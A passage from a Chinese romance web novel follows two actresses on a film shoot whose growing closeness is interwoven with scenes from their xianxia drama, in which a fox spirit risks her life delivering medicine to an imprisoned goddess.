吻完，祝星亦红着脸再次把头埋在苏寄欢颈窝。她猜苏寄欢会责怪她或者把她直接丢下去，但她等了好久好久，也没等到一声责怪。 只等到了一个叹息。 叹息过后，苏寄欢继续背着她走。 祝星亦有点摸不清苏寄欢的心思，抬起头在苏寄欢耳边低声问：“你有没有生我气？” 苏寄欢不吭声。 祝星亦觉得苏寄欢现在像个木头，这人怎么会一点反应都没有？但要她再去问什么做什么，她是一点都不敢了。 万一自己真被扔出去该怎么办？这人绝对做得出来这种事。 毕竟此女可是把糖水让出来还要收40块钱、故意当瞎子聋子、还强行把手镯摔碎的大坏蛋！ “我当你没生气。”祝星亦再一次把头埋在苏寄欢头发里，可她实在是被苏寄欢的头发香得要晕倒了，别开脸吸了一下空气，问：“苏老师，我……可以用你的沐浴露和洗发水吗？回酒店你借我一点，我用一下就还你。” 这下苏寄欢开口了：“好。” 简简单单一个好字都足以让祝星亦欢呼雀跃。 到酒店后，祝星亦被放在自己房间门口。两人门对门，祝星亦没有开自己的门，老老实实站在门口伸出爪子：“苏老师，借你的沐浴露和洗发水。” 苏寄欢点点头转身去屋子取，取完出来正要给祝星亦，又收回：“我也要洗洗睡了，你用我的我用什么？” 祝星亦心想洗澡什么的也不差这一会儿吧，旋即听到苏寄欢说：“把你的给我用。” 这是交换香味吗？ 祝星亦登时红了耳朵，忙不迭点点头，苏寄欢这才把手里的沐浴露和洗发水递给她。 回房间把自己的沐浴露和洗发水拿出来后，转身便看到苏寄欢进来了。 “给，交换了。”祝星亦把自己的沐浴露和洗发水递给苏寄欢，“洗完还我。” 苏寄欢接下，低眸看了祝星亦一会儿，拖着尾音说：“知道了，你洗澡时注意点，别摔倒了。” 祝星亦被盯着看有点不自在，别开脸嘟囔：“我是什么娇贵的花吗？洗个澡也能摔倒？” “你洗澡的时候我也在洗澡，摔倒喊我我也听不到。”苏寄欢晃晃手里的两瓶液体，歪了下头，似笑非笑道：“药我放桌子上了，洗完澡记得抹一抹，这几天应该没有太多动作戏，先好好养一养你的膝盖。” “知道了。”祝星亦应了声。 洗完澡后，祝星亦刚把桌子上的药拿起来，门被敲响。 “你的。”苏寄欢捧着两瓶液体站在门口，“你把我的给我就快些休息，不早了。” 祝星亦赶忙接下，旋身回屋子把苏寄欢的沐浴露和洗发水拿出来。 匆匆忙忙拿出来，她头发还湿哒哒的，到门口时被自己头发滴的水滑得差点摔倒。 苏寄欢抬手扶了下她的手臂，她道了声谢谢，把东西给苏寄欢：“给，还给你了。” 祝星亦往苏寄欢身边走了两步，装作不经意深嗅了下，是自己的沐浴露和洗发水的味道，她很满意。 “药抹了吗？”苏寄欢问。 祝星亦刚洗完澡还没来得及吹头发，自然也没时间抹药。 “还没有。”她老实回答。 苏寄欢抱着两瓶液体面色沉静道：“需要我帮忙吗？” “抹……药吗？”祝星亦显然一愣，她瞟了眼苏寄欢的睡裙，又看了眼自己的睡裙，恍惚了会儿摇摇头，“不了，我自己来好了。” 苏寄欢没有坚持说什么，微挑着眉道：“那我回去了，你早点睡。” 门合上后，祝星亦有点飘忽地拿起吹风机吹头发。 吹风机没有什么声音，但她有点不在状态，神游好久才后悔为什么没有让苏寄欢帮忙抹药。 她好奇自己为什么拒绝苏寄欢给她抹药，仅仅是因为自己裙子短而苏寄欢的睡衣领口很大吗？但这有什么不好意思的？早八百年就把对方看一遍了，到底有什么不好意思的？ 不过仔细想想，确实不好意思。 分开太久，都快忘记和对方的亲密接触是什么感受了。 缩进被窝里，祝星亦翻来覆去睡不着。 唐离和云长洛忘乎所以的吻戏什么时候到？ 好想让苏寄欢回应亲吻。 好想和苏寄欢吻得喘不过气。 祝星亦用被子蒙住头，深吸一口自己身上的味道。 好想天天闻这个味道。 次日祝星亦还在梦里，一阵敲门声把她狠狠从梦里拉出来。 她烦闷地起身去开门，抱怨了两句大早上谁那么没眼色打扰她，待视线明晰，赶紧收回说出口的话。 祝星亦整理了下乱七八糟的头发，被眼前的人盯得不太自在，拽了下衣服局促地打招呼：“苏老师，早啊，你有什么事吗？” 第162章 《长离引》 “你之前不是叫我喊你起床？”苏寄欢收回打量的视线，目光落在祝星亦乱七八糟的头发上，“我这不是喊你起床了？” 祝星亦想起刚来这里的时候两个人发生的不愉快，以及要求喊起床的约定，当时苏寄欢拒绝了来着，怎么现在又同意了？ 她揉揉惺忪的眼，声音透着刚醒来的慵懒：“你也不跟我提前说一声。” 苏寄欢盯着她的脸轻笑一声：“那我现在跟你说一声，行不行？” 意外的平和，意外到祝星亦把想要说出的话卡在喉咙里。 但她又觉得自己本来就不知道该说什么。 她应该说什么？ 问苏寄欢为什么忽然喊自己起床？ 问苏寄欢能不能每天都喊自己起来？ “知道了。”祝星亦抓了下裙子。 悄悄抬眼，女人的眼睛里好像有笑意。 但女人只是看着她不说话。 祝星亦张张嘴，还是问出声：“你怎么不说话？只是过来喊我起床？” “当然不是。膝盖抹完药感觉怎么样？”苏寄欢照旧担心祝星亦的膝盖。 祝星亦低头轻轻揉了下膝盖：“我感觉好多了，但膝盖还是青紫青紫的。” 苏寄欢耸肩：“我这药又不是神药，哪能抹一次就见效？这段时间没动作戏，你好好养一养。” “嗯，谢谢你。”祝星亦直起身子想到一件事，“那你今天喊我起床了，会和我一起去上班吗？” 其实祝星亦本来打算说[那你今天喊我起床了，明天也能喊我起床吗？］。 至于为什么没有说出来，是因为她不敢。 这会是僭越吗？不知好歹？还是给点阳光就灿烂？ 她把苏寄欢所有会说出的话都想了一遍，决定把话咽进肚子里，只问一句会不会一起上班。 平时她都没有和苏寄欢一起上班过，哪怕两个人门对门她也没有跟苏寄欢顺过路。 剧组九点开工，苏寄欢能八点就到。早早化完妆就开始看剧本，要么到处溜达检查道具，要么和群演导演沟通群演的事。 祝星亦有时突发奇想早点起来跟苏寄欢顺路，可每次都赶不上热乎的，有时对方还没起来，有时对方起得更早，早早跑没影儿了，想要一起吃个早饭都凑不到一起。 祝星亦想，兴许这个讨厌自己的女人，根本不想和自己一起吃饭。 苏寄欢扶着门视线在祝星亦身上飘忽几下，点点头，轻轻嗯了声：“会，等下一起吃早餐，有空吗？” “吃早餐怎么会没空？”祝星亦赶忙接话，“我吃什么都有空。” 扶着门的手在门上敲了敲，苏寄欢转身打开自己的房门。 “那我等你。”她说。 祝星亦没有让苏寄欢多等，快速洗漱完敲响对方的房门。 苏寄欢打开门的时候，祝星亦没来由地紧张。 等看到对方的目光里貌似没有太多凉薄之感，那颗七上八下的心忽然落了地。 祝星亦记得自己敲过很多次苏寄欢的房门，敲开那扇门，就像在开盲盒。 会开出温柔的苏寄欢，会开出冷漠的苏寄欢，会开出生气的苏寄欢，会开出醉醺醺的苏寄欢。 苏寄欢看祝星亦一直盯着自己，手背到后面关上门：“看什么？” “没，走，下去吃饭。”祝星亦摇摇头收回目光。 磨磨蹭蹭走了一路才到附近一条早餐小街，北方的早餐多是面食，祝星亦吃了总会犯困，但又觉得好吃。 小街离景区并不远，饱餐一顿后溜达溜达就能到剧组。 祝星亦跟在苏寄欢后面走了两步又赶忙走快些，并肩之后才松口气。 老实说，祝星亦不懂自己在苏寄欢面前为什么那么听话。 除了晏氏的事，祝星亦好像无论做什么都很听苏寄欢的话。 她也懊恼自己怎么就那么听这个女人的话，以前听也就算了，毕竟那时在被爱着，怎么现在还要一直听？ 祝星亦跟自己赌气，又气苏寄欢怎么老是要她做这个做那个。 不让她跪她就得不跪，不让她走在后面她就不能走在后面，大清早起来吃个饭还得去吃这女人精心选的早餐店。 俗话说，人不能被爱冲昏头脑迷失自我，祝星亦觉得这话说得很好，非常适配自己。 她不能总是听苏寄欢的话。 祝星亦思索再三放慢脚步，没一会儿就落在苏寄欢后面。 苏寄欢却也跟着放慢脚步，最后忍不住问：“你是膝盖更严重了吗？” 昨天晚上那一摔，总觉得摔得不轻。 没等祝星亦胡诌什么，苏寄欢想到唯一一个可以解决的办法：“要不然我背你去剧组，我跟韩珑说说，你今天不用拍太多，选一些让你少站少走动的戏。” 祝星亦没想到苏寄欢会说这个，她并不想耽误拍戏，膝盖也没有感到不适。 “我没事，就是吃饱了走得慢。”祝星亦解释，她没别的证明自己的办法，只能往前快步走了走，给苏寄欢展示自己可以走动。 苏寄欢压着眉毛问：“真的？” “真的。”祝星亦招呼她快点走，“好了，快去剧组，不然迟到了。” 又催又赶才去剧组，妆造做好后，祝星亦瞄了一眼苏寄欢的腰间。 纤细的腰上戴着昨天她赠送的绳结。 “你怎么，戴上了？”祝星亦走过去问。 苏寄欢低头拨了下流苏，垂眼看好奇的祝星亦，“好看，所以戴上了。” 祝星亦动动嘴又抿紧唇。 苏寄欢问她：“你想说什么？” 祝星亦低声嘟囔：“我以为你会不在意这个小东西，这么廉价的东西，你竟然会让它入戏。” 苏寄欢忽然又把那个绳结取下来，塞到了祝星亦手里。 握着绳结，祝星亦一头雾水。 这是什么意思？又还给自己了？还是觉得廉价是吗？ “那让唐离亲手送给云长洛一个漂亮的绳结，好吗？”苏寄欢平静地说，“这场送绳结的戏，我们都临场发挥，如果真能一次过的话……” 祝星亦追问：“会怎样？” “我明天还叫你起床。” 【唐离起身后，那个女人就离开了。 唐离望着女人的背影和女人墨发上飘起来的三根白色丝带，怅然若失。 有人凑过来看热闹说：“你还有工钱领呢，我们都没有工钱，每年的觅渡仙比赛我们都是自愿来这里布置场地。” 围在身旁的人都羡慕唐离能拿到工钱，但这又有什么好羡慕的？ 她迟早会离开。 她迟早会被赶出栖云山。 编完绳结的那天，重凝把这些天的工钱给唐离结了。她挽着工服衣袖握着沉甸甸的钱，对重凝躬身行礼：“谢谢仙君，谢谢神尊大人垂怜。” 唐离在浮云岛工作的几天，重凝没少听人说这个女人的坏话。但重凝觉得别人说什么都无所谓，她谁的话也不听，只听云长洛的话。 云长洛留唐离在，重凝就按对待栖云山子民的方法对待唐离，云长洛不留唐离，她就直接把唐离扫地出门。 “明日这里就举办觅渡仙大赛了，厨楼那边有个跑堂的请了假，你若是能帮忙打杂跑堂，还能再给结些银钱。”重凝敛了敛衣袖道，“出山后用钱的地方多，我等下也把你在白羽林喂鹅的银钱给你结了。这是神尊大人下的命令。在栖云山，任何人都可以靠双手过上好生活，你在这里不是谁的宠物也不是谁的奴隶，伤愈前，多攒些钱，日后出山也能过上好日子。” 唐离立马应下厨楼的活，忙不迭给重凝鞠躬：“多谢仙君，多谢仙君。” 晚上唐离便收到了这几天喂鹅的钱，是慕观雪和郁听风送来的。 “唐离，你这些日子的鹅没有白喂！”得知唐离还有钱拿，慕观雪很为她开心。 郁听风抱着两身衣服放到唐离的小床上说：“是啊，你攒着这些钱，以后出山了也不会太窘迫，出门在外要花钱的地方可多了呢。” 唐离握着沉甸甸的钱袋，这钱袋是慕观雪买的，很结实，也很漂亮。床上两身衣服一身是厨楼的打杂工衣，一身是慕观雪和郁听风兑钱买的。 栖云山的仙子仙君那么多，对唐离冷言冷语的人占了多数，但并不是所有人都视唐离为眼中钉肉中刺。 唐离道谢的时候，郁听风打开食盒给她盛饭。 白天思蕴长老带门徒上了厨艺课，食盒里便是两人的上课成果。 两人期待着唐离会说这顿餐好吃，但唐离把饭舀进嘴里脸都憋红了还没说一个字，最后才喝了许多水点头说好吃。 慕观雪马上指责是郁听风没有掌握好火候，郁听风立刻反驳是慕观雪调料撒得乱七八糟。说了几句两人吵*起来，唐离左劝也不是，右劝也不是，愣愣地看两人吵嘴，忽然笑出声。 郁听风问她笑什么，她摇摇头不吭声。 入睡前，唐离把钱数好放在枕头下面。 她想，栖云山真是个好地方。 她想留在栖云山。】 【觅渡仙大赛早上唐离早早起床，她怕去厨楼迟到，天还没亮就穿好衣服做准备。 她没忘记白羽林的鹅，离开小院就匆匆跑过去泡了些谷粒添在食槽里，那些鹅还在窝里休息，等把所有食槽添满，她抹了下头上的汗松口气。 这些日子她每天都来喂鹅，有慕观雪给她传授经验以及她自己的摸索，练就一身和鹅斗智斗勇的功夫。 一路奔波到浮云岛去了厨楼，那里竟然还没开门。唐离心觉自己来得是有点早了，但这时也不宜回去，索性找了个角落倚在墙头睡下。 被嘈杂的声音吵醒时，唐离朦朦胧胧睁开眼，天已经大亮。她窝在角落里没感知到什么，怕耽误事，赶忙撑着地面站起来。 刚站起，一件披风从身上滑落。 唐离捡起那件披风四下望了望，她不知是哪个好心人给她披上的，若是知道，她定要好好谢谢那人。 厨楼的杂役见唐离穿着工服，忙招呼她过来干活。 唐离把披风收到放到仓库里，投入忙碌之中。 厨楼的活不难干，但需要细心。唐离所在的厨厅是点心厅，厨子做好点心，需要唐离这些杂役送到餐房。 忙碌的时候，小柔跑过来说外面的比赛很精彩。唐离听了也想去看，奈何抽不出身，只能重复端送茶点点工作。 小柔看唐离也想看一看外面的比赛，直接把自己的盘子塞到唐离手里：“我已经看过了，你把餐点端出去顺便去看一看。” 唐离正有顾忌，毕竟杂役的活都是早早分配好的，小柔大手一挥道：“怕什么，不碍事，你快去快回就好。” 盘子被塞到手里，唐离拗不过，端着盘子出去了。 只是这一出去，唐离差点酿出大祸。】 第163章 《长离引》 【穿过长长的厨楼走廊，唐离按照小柔所指方向，端着点心去往能观看比赛的餐房。 餐房在五楼，唐离刚踏上楼梯，外面嘈杂的喧闹声便扑面而来。 她快步走向大开的窗户端着盘子探身望去，看到一群仙子正在不远处高高的斗法平台上激烈交锋。 他们手里的法器闪烁着光芒，火剑攻向水盾，在台上掀起一阵壮阔的雾气。 唐离看得入神，在天界的时候她鲜少看到这种斗法，如今见了，脚步都移不动。片刻后她突然回过神来，此番她不是出来看斗法，而是把点心送到餐房。 等送完再过来看也不迟，她想。 唐离踏入小柔所说的餐房，这个餐房位置极佳，能看到斗法台，且透过窗户能看到六楼的走廊。 宾客众多，她穿过胡乱跑动的稚子去餐桌放下点心，刚放下，抬头瞥见一个身影从六楼走廊走过。 竟是云长洛。 云长洛身边跟着几位神君，但唐离在五楼只能透过栏杆仰望她的背影。 她失神望着，丝毫没有注意到盘子里的点心掉了一块。 一头仙兽不知从何处蹿出，追着掉落的点心一口吃下。仙兽瞬间浑身毛发竖起，双眼泛红，不受控制地疯跑起来。 它摇头晃脑在餐房里乱窜，吓得宾客到处躲藏，唐离一时间呆住不知如何是好，正想着法子阻止那只仙兽，却见它嘶吼着跑到走廊，从五楼的窗户冲了出去，径直朝着斗法平台横冲直撞。 “不好！它要跑斗法台上了！” “快阻止它啊！” 宾客们仓皇地追去，然而那只仙兽已经从窗台跳出跑向斗法台。斗法的仙子被这突如其来的变故吓得手中法器失控，台上光芒交错，观众纷纷逃开，整个觅渡仙赛场陷入一片混乱。 唐离跟着宾客一起出来，望着一片狼藉的斗法台，心中懊悔不已。 她闯祸了。 “快！快找重凝仙君！” “快些阻止那只仙兽，否则会让更多人遭殃！” “神尊大人就在楼内，定会责怪我们……” 有人去寻重凝仙君，重凝赶到后施法控制失控的仙兽。几个仙子帮忙处理现场，好在仙子们习惯应对这种突发事件，不消片刻，斗法台便被整理好，大赛正常运行。 “唐离，杜雨柔，你们好大的胆子！”厨楼外，重凝一脸愠色，“觅渡仙大赛这么重要的活动，你们竟敢如此疏忽！” 唐离和小柔跪在重凝身前瑟瑟发抖。 比赛才刚开始第一天就出了这样的岔子，重凝实在不好向云长洛交代，审问了会儿，唐离坦诚是自己主动和小柔换岗。 小柔抓着唐离的衣角示意她不要自己担责，唐离摇摇头，身子伏得更低：“仙君，此事皆因我一人而起，与小柔无关，我愿意承担所有罪过。” 重凝拿出栖云山律法给唐离定罪，因疏忽导致仙兽扰乱大赛，理应罚俸、押去禁阁、抄律法。 “先罚你银钱，再去禁阁待上十日，同时抄写栖云山律法一千遍。”重凝同跪在地上的唐离说，“唐离，在禁阁这十日，希望你诚心悔改。” 唐离叩首：“唐离领罚。”】 【交完被罚的银钱后，唐离望着空空如也的钱袋发呆。重凝掂了掂手里的钱收入囊中，身后的禁阁守卫出来站在唐离身后。 “禁阁晚上会很冷，你多带些衣服御寒。”重凝离开前提醒。 禁阁里关押着不少犯错的仙子，唐离被守卫带过去后便换上了囚服，脚上也绑了上了锁的链子。登记的时候，记录罪名的仙子多看了唐离几眼，唐离顿时觉得窘迫。 她的疏忽导致觅渡仙大赛出了那么大的岔子的事，想必整个栖云山的人都知道。本来当初陷害云长洛就是莫大的罪过，现在更是罪加一等。 守卫带唐离去了牢房，刚一进去，寒意瞬间袭来。每间牢房都非常狭小，廊间光线昏暗，一个没注意差点摔倒。 唐离刚到自己的牢房里，守卫便把门锁住了，旁边仙子扒拉着铁门问：“喂，妮子，你怎么进来的？” 唐离如实讲述了事情经过，那仙子听后不禁咋舌：“亏得这次没人受伤，要是有人受伤，神尊大人定会亲自处罚你！” 神尊……亲自处罚？ 唐离心中一惊，忙问：“神尊大人会怎么罚？” 仙子压低声音说：“神尊大人会亲自鞭笞罪人，挨上一鞭，一个月都别想好过！神尊大人最讨厌不守规矩的人，向来处罚严厉。” 云长洛讨厌不守规矩的人…… 唐离听后忐忑不安。 她不怕被云长洛打，她怕她会早早被云长洛赶出栖云山。 可她已经闯了祸，她已经没有别的主意求云长洛收留她。 晚上禁阁里寒气逼人，床小被子薄，穿上厚衣服都难以御寒。唐离在床上翻来覆去难以安宁，只能坐起来透过小小的窗户看外面的月亮。 瞥见带来的包袱时，唐离想到包里还装着不知名的披风。她翻找出来这件披风，想着再往身上盖一层应该会保暖些。 把披风拿出来时，一团线掉落在地。 她捡起那团绳子，想起来这是之前给觅渡仙编绳结时留下的绳子。 教她编绳的仙子说，人界的凡人总会赋予绳结不同寓意，一种绳结，寄托了一份虔诚的心愿。 凡人很喜欢许愿，她们向神明祈愿，祈愿风调雨顺，国泰民安，她们也祈愿生生世世，永不分离。 可天界的尊贵神仙从不过问这些事，人们心中至高无上的神灵，只是一群为了争夺权力和利益的上位者。 只有像云长洛这样的神仙，才会怜惜卑微渺小的生灵。 唐离握着那团绳子，披上披风盘腿坐在床上开始编织绳结。 她为云长洛编了一个如意结，她希望云长洛事事顺心，事事如意。 编绳子的时候，她竟不觉得寒冷。直到编完再次躺下，盖着翻出来的披风，她仍觉得手脚温热。 好温暖。唐离裹了裹被子，感受着被窝里的暖意，渐渐有了困意。】 【押到禁阁里的人日日都要去田里劳作，第二天唐离便被守卫带着拿上农具去禁阁后面的农田干活。 “栖云山子民的吃穿用品，一半出自禁阁之手。尔等罪犯犯下诸多错误，神尊大人留你们在此，你们定要好好悔过，用双手和汗水证明你们的改过之心！”威严的守卫声量高，唐离站在最后一排都被这洪亮的声音震住了。 这季成熟的庄稼是麦子，唐离跟着其他犯人去田里割麦。和她一起的叫阿枫，正是昨日在隔壁牢房主动询问她的犯人。 阿枫进禁阁是因为自己修习术法，唐离好奇：“自己修习术法也不行吗？必须要进栖云阁才能修习？” 阿枫笑说：“你有所不知啊，我之前贪玩了一学期，为了应对年终测验，我找一个仙子买了学业速通的书籍，结果那仙子卖的是赝品书籍，害我修习修得乱了套，我修炼不当烧了一个山头，便被抓到这里。” 唐离心道这阿枫真是走了霉运，忙问那个卖她赝品书的人如何了。 阿枫这下乐了：“嘻嘻，他也进来了，去的地方比我们的条件更艰苦。而且我当时不小心烧的山头，就是他家那处！” 忽然一记白光打过来，吓得二人退后好几步。 远处的守卫警告二人，“劳作之时切勿喧哗！若再发现你们交头接耳，便罚你们再割一片田！” 唐离赶忙收声去专心割麦子。 两人割完一小片田，已是累得直不起腰。好在已经晌午，守卫看到点了，带一众犯人回去用餐。可惜禁阁里的饭食都是汤汤水水，寡淡得很，阿枫抱怨今日又是萝卜白菜汤，唐离却吃得津津有味。 阿枫讶异：“你可是狐狸，要吃肉的，怎么这些菜也吃得那么开心？” 唐离捧着碗大吃一口白菜笑说：“有饭吃我便高兴，况且，这可是我们割一上午麦子换来的。我还听说，出禁阁前，她们还会给我们银两。” 阿枫耸肩道：“给的钱并不算多，神尊大人可抠了。” 可是谁会给犯人银钱呢？谁又会给犯人这般改过的机会呢？ 唐离埋头吃饭，吃得陶碗发光，她总觉得在栖云山多留一日，就会多爱这里一分。 严苛冰冷的神尊大人，骨子里却是爱戴子民的好人。 在栖云山，只要肯努力，任何人都会凭借双手双脚吃上饭，哪怕是犯人也会拿到自己的酬劳。 云长洛不是天界冷血、自私的上位者，云长洛是一位真正为民考虑的好神仙。 隔两日，慕观雪和郁听风来看望她，还带来一些食物。 食盒里仍旧是在思韫长老课上的做的，唐离吃了后，觉得还是禁阁的白菜萝卜汤好吃。 慕观雪看着短短几日便瘦了的唐离说：“唐离，觅渡仙大赛的事也不能全怪你，谁能想到那仙兽会对樱桃酥过敏？” 唐离自责道：“不管怎样，都是我疏忽大意才导致这样的结果，我在这几日多多反省，希望神尊大人不要太怪罪我。” 只是一想到云长洛可能会因此会快些赶她离开栖云山，她顿时垂头丧气，提不起精神。 在禁阁的第七日清晨，唐离还在小床上睡着，听到隔壁阿枫和其他犯人兴奋地喊着：“神尊大人来了！” 唐离赶忙起身扒着狱门向外张望，远处云长洛正缓缓走来。 她不知云长洛为何会来这里，但能见到云长洛一面，她便高兴。 云长洛在唐离的牢房前停下，禁阁守卫打开牢门取下唐离的脚链。 规规矩矩站在一旁的唐离一脸疑惑，云长洛开口道：“你可以出来了。” 唐离心想还没到十日，怎么会让她出来，难不成是赶她出山的？ 云长洛似乎看出了她的疑惑，淡声道：“放你出来是有要事相谈。”】 第164章 《长离引》 【唐离没有多想，收拾着包袱跟着云长洛走出牢房。 禁阁外停着名贵的青雀车，唐离在车前张望了会儿，云长洛坐在车里喊她上来。 唐离坐上去后，小心翼翼地摸着车里柔软的毯子。青雀车缓缓行驶，她看向窗外，禁阁越来越远，直至变成一个小黑点。 从前在天界，像她这样被圈养的仙兽极少能出来活动。但她调皮得很，经常偷偷摸摸跑出来。每每有重大宴会活动，旧主会忙得脚不沾地，也无暇顾及她，她便溜出来远远看那群从四海八荒赶来的神仙。 名贵的青雀车停在宴阁门外，唐离很想去摸摸那些青雀车，想知道青雀车的车门摸起来和后院的栅栏有什么区别。 但她从后院跑过来已经掏出莫大的勇气，怎敢再向前一步。若是被旧主发现了，铁定会被打死。 旧主打死过很多仙兽，还有不合心意的仙子。 被施咒后，唐离忘记了旧主究竟是谁，她只知道那个旧主暴虐无常，心狠手辣。唐离作为少数修炼得很强的仙兽，也免不了被打骂。 受律者在降生之前便被绑上了咒语，灰暗无光的牢笼，困住了太多无法选择的灵魂。 天界的掌权者们，也像是一个个施律者，匍匐在她们脚下的神仙，被尽数压榨和算计，毫无还手无力。 “你怎么了？”云长洛忽然问。 温润的声线落在耳朵里，唐离身子猛地一颤，她低着头回答道：“只是想起了天界的过往，以前我只是被圈养的仙兽，鲜少接触外界，见过青雀车却没坐过，这是我第一次坐。” 她说完便觉得很窘迫，像云长洛这么见多识广的神仙，肯定会嘲讽她没见识。 但云长洛却说：“那便带你多兜几圈。” 唐离以为自己听错了，青雀车转换方向行驶的时候，她方知自己没有听错。 青雀驶过云层，卷起一片片轻薄的雾气，唐离透过窗子俯瞰整个栖云山，偌大的栖云广场比蚂蚁还要小。 在天上不知道兜了几圈，唐离尽兴了，云长洛方让青雀车驶回栖云殿。 唐离跟在云长洛身后进入栖云殿，迈过门槛，门便被合上。殿内已有两个人，这二人都戴斗笠和面纱，云长洛走近二人，这二人匆匆从椅子上起身。 二人这才取下斗笠和面纱，唐离觉得二人眼熟，瞅了会儿才知道这二人是西界和北域的神尊，玉流光和风素尘。 这两位神尊见了她没有过多拉扯，同云长洛眼神示意后，流光神尊上前道：“你曾是天界神仙养的狐狸，虽说仙力尽失，但你骨子里的仙脉仍存，去往天界任意一处都方便。我知道你以前陷害过长洛，倘若你能助我们一臂之力，过往种种，我们不再追究。” 云长洛在一旁欲言又止，唐离见状忙问：“神尊大人想要我做何事？” 素尘道：“我们要你去往天界洺北之地的囚牢里给无宁送药，她被羲珈帝姬百般折磨，身负重伤却无法得到医治，我们身为天界之外的神仙，要通过重重审查方可进入天界。我们想救她，却有心无力，但你身体里还残留天界仙脉，我们希望你去那处送药。” 云长洛提醒：“洺北之地的天牢有诸多瘴气和毒物，寻常人未经允许去了必会沾染上这些邪瘴之物，你要三思。你若不愿去，那便不去，我们再想其他法子。” 唐离捏紧拳头垂首正色道：“能为长洛神尊做事，是在下的荣幸。” “唐离愿去为无宁神尊送药。”】 【去往天界前，云长洛为了避免唐离的气息被识别出来，特意给唐离做了些许伪装。 她送给唐离一个白符，道：“这是护身符，只要快些从囚牢里出来，便不会被邪瘴侵袭。” 唐离虔诚地收下，“谢神尊大人照顾。” 她抬眸望着眼前的女人，淡漠疏冷的模样，像一块清透的璞玉。 “今日有天界宫宴，你同我一起去，待入天界之门时，我去宫宴，你去洺北之地，宫宴结束前，你我二人在天门那处相见。”云长洛说完忽然抓起唐离的手，在她掌心施了咒，“你仙力尽失，去了天界多有不便之处，我给你渡了些仙力，给你行些方便。” 仙力渡入的一瞬，唐离的掌心发烫。她红着耳朵嗯了几声，又听云长洛说：“只是你这副模样不太好去天界给无宁送药，需得换个样子。” 唐离拢了下碎发问：“换个什么样子？” 云长洛垂眼看她许久道：“小鸟。” 不消片刻，唐离被变作小鸟的模样在地上蹦跳几下，云长洛俯身伸手，“唐离，上来。” 地上的唐离啾啾几声跳上云长洛掌心，云长洛看着这只小白鸟，笨头笨脑的模样实在可爱，忍不住笑了起来。 青雀车的雀鸣提醒云长洛快些上车，云长洛捧着唐离拂袖转身：“唐离，这次我们再坐一次青雀车，从栖云山到天界的青雀车，你好好看看这一路的景色。” 一路上唐离都站在窗前看外面的景色，驶过重重天，风大了些，唐离险些被吹掉在外。云长洛把她拽回来捧在手心，身子往窗子旁坐：“唐离，你站在我肩上。” 唐离忙跳到云长洛肩上往外看，爪子紧紧抓着云长洛衣服，将风光收入眼中。 她转过头看云长洛的侧脸，听到云长洛一声叹息：“唐离，多看看吧，多看看。” 到天门后，唐离趁天门守卫不注意飞往洺北之地的方向。有云长洛给予的仙力，唐离很快到了囚牢。刚到囚牢就有一股强大的恶力袭来，唐离扑扇几下翅膀有点承受不住，慌忙使用云长洛给的白符稍稍抵抗。 只是越往里面走，那股恶力越强大。唐离怕支撑不住，快速找到花无宁所在的牢房，将药送到花无宁手里。 被折磨得奄奄一息的花无宁撑着身子看向这只小白鸟有气无力地问：“你是……” 唐离现在是只鸟无法言语，在地上写了两个字：长洛。 花无宁顿时明白是其她三位神尊过来救她，她欲要对面前这只鸟说些感谢的话，却见这只鸟忽然吐出一口鲜血。 花无宁着急喊道：“不好，你已遭邪瘴之气侵袭，快些出去，否则小命不保！” 唐离眼睛模糊得很，身上的白符已被邪瘴撕碎了许多。她只好拖着身子往外飞去，可越飞，翅膀越沉重。 白符像雾气一般被风吹散，越飞，越没有力气。 仙力尽失，身子又不好，云长洛渡的仙力只能护她一时，白符破碎，邪瘴之气尽数涌入她体内。 囚地的瘴气能置人于死地，她这么一只体弱身残的狐狸，根本没有抵抗之力。 她会死。 但她不想就这么死了。 她救无宁神尊一次也算大功一件，若是她多求云长洛几分，说不定云长洛会留她在栖云山。 她想留在栖云山，想陪在云长洛身边。 她想……她想留在云长洛身边，她想效忠于这个不同于天界神仙的女人。 翅膀越来越重，她从半空中掉落摔在囚牢之外。她从囚牢飞出来了，可她再也无法起身。 阖上眼之前，一个熟悉的身影朝她飞来。 “唐离！” 唐离听到那人喊自己，是云长洛的声音，她来了，她来了。 云长洛把浑身都是血渍的鸟捧在手里，身后忽然传来一个耳熟的声音：“长洛神尊，你怎会在此出现？这里可是天界囚牢。” 云长洛转身，见是羲杳神尊，躬身行礼。 羲杳猜出云长洛可能是想去看望无宁神尊，忙提醒：“长洛神尊，请你切勿去往囚牢，若是天帝知道了，她会怪罪你的，你快些离开吧。” 云长洛颔首：“谢神尊大人提醒。不过……羲杳神尊怎会在此出现？” 嗅到血腥味儿，羲杳动了下鼻翼，瞥向云长洛的衣袖，抿唇笑道：“只是照例过来看看，天帝交代过的。” 又说：“长洛神尊，你快些离开，要是被天帝的人看到会惹大麻烦。” 云长洛点头后快些离开。】 【匆匆赶回栖云山，云长洛召萤渺入栖云殿为唐离医治。彼时唐离已恢复人形，她浑身都是鲜血，手脚和脖子青紫一片，嘴唇和脸色惨白无比。 “唐离，你坚持住！”云长洛握住唐离的手，她不安地看着只剩微弱气息的女人，愧疚得很。 洺北之地的囚牢与普通天牢不一样，没有批准擅自前往那里，任何防御都抵挡不住。 白符和所渡仙力，都是杯水车薪。而要唐离去往那处，本就是一个死局。 素尘和流光的打算便是要唐离去往囚牢给无宁送药，若是唐离逃不出来也无妨，毕竟唐离是曾陷害过云长洛的人，死得其所罢了。 那时云长洛不同意这个计划，可挚友无宁身负重伤，又无其他办法送药，她只能暂时同意这个法子。 她有愧。 利用一个仙力尽失的人去往那么危险的地方，她实在有愧。可她不忍挚友受那么重的伤，只能同意另外两位挚友的法子。 “唐离，对不起……”云长洛低下头握紧唐离的手。 “神……神尊大人……”气息微弱的唐离开口，云长洛赶忙俯身过去。 云长洛着急道：“唐离，你坚持住，我会尽力救你！唐离……对不起，是我利用了你，对不起……” 唐离惨淡一笑：“神尊大人，我知道，我都知道。” 云长洛瞳孔震颤：“你……你知道？” 唐离半敛着眸子，她在天界生活那么久，怎会不知洺北之地囚牢的险恶？又怎会不知[一笔勾销］不是那么容易获得的？ “是，我知道。我……就想赌我能不能活着出来，若是我活着出来，我定要好好求你，求你……让，让我留在栖云山。”眼前越来越朦胧，唐离回握住云长洛的手，声音越来越低：“神尊大人，我，我想留在栖云山，我想……留在你身边，我想，留在……你身边……” 她说着，费力地从胸口前掏出那个如意结，塞在云长洛手心。 云长洛握住如意结问：“这，这是……” 唐离凄惨一笑：“这是我为神尊大人编的如意结，希望，神，尊大人，事事如意。” 望着手中的如意结，云长洛喉头酸涩：“对不起……唐离，对不起……” 